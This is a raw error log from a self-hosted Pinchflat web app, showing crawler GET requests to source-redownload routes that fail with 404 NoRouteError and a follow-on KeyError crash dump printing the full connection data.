"x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263931.0>, params: %{}, path_info: ["sources", "4", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/4/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIELI_MS6lPMZ74AJ-4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263930.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49540}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263930.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49540}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263931.0>, params: %{}, path_info: ["sources", "4", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoeni (truncated) 02:33:00.762 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:33:01.548 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:31.550 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:59.620 [info] GET /sources/1/force_redownload 02:33:59.621 [debug] QUERY OK source="settings" db=0.2ms idle=976.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:33:59.622 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=976.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:33:59.622 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:33:59.622 [error] #PID<0.263938.0> running PinchflatWeb.Endpoint (connection #PID<0.263937.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263937.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 33614}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263938.0>, params: %{}, path_info: ["sources", "1", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/1/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIELMk_IyebxktQAMXqC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263937.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 33614}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263937.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 33614}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263938.0>, params: %{}, path_info: ["sources", "1", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoeni (truncated) 02:34:00.763 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:34:01.552 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:31.554 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:00.764 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:35:01.556 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:02.737 [info] GET /sources/5/force_redownload 02:35:02.738 [debug] QUERY OK source="settings" db=0.3ms idle=646.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:35:02.739 [debug] QUERY OK source="settings" db=0.2ms idle=93.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:35:02.739 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:35:02.740 [error] #PID<0.263946.0> running PinchflatWeb.Endpoint (connection #PID<0.263945.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/5/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263945.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 54682}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263946.0>, params: %{}, path_info: ["sources", "5", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/5/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIELQQHa8OyJ9goAMXrC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263945.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 54682}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263945.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 54682}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263946.0>, params: %{}, path_info: ["sources", "5", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoeni (truncated) 02:35:31.558 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:00.765 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:36:01.560 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:07.655 [info] GET /sources/5/force_metadata_refresh 02:36:07.656 [debug] QUERY OK source="settings" db=0.2ms idle=1010.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:36:07.656 [debug] QUERY OK source="settings" db=0.2ms idle=1011.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:36:07.657 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:36:07.657 [error] #PID<0.263955.0> running PinchflatWeb.Endpoint (connection #PID<0.263954.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/5/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263954.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 60502}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263955.0>, params: %{}, path_info: ["sources", "5", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/5/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIELUB9B5uB6awgAJ-_B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263954.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 60502}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263954.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 60502}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263955.0>, params: %{}, path_info: ["sources", "5", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "htt (truncated) 02:36:31.562 [info] 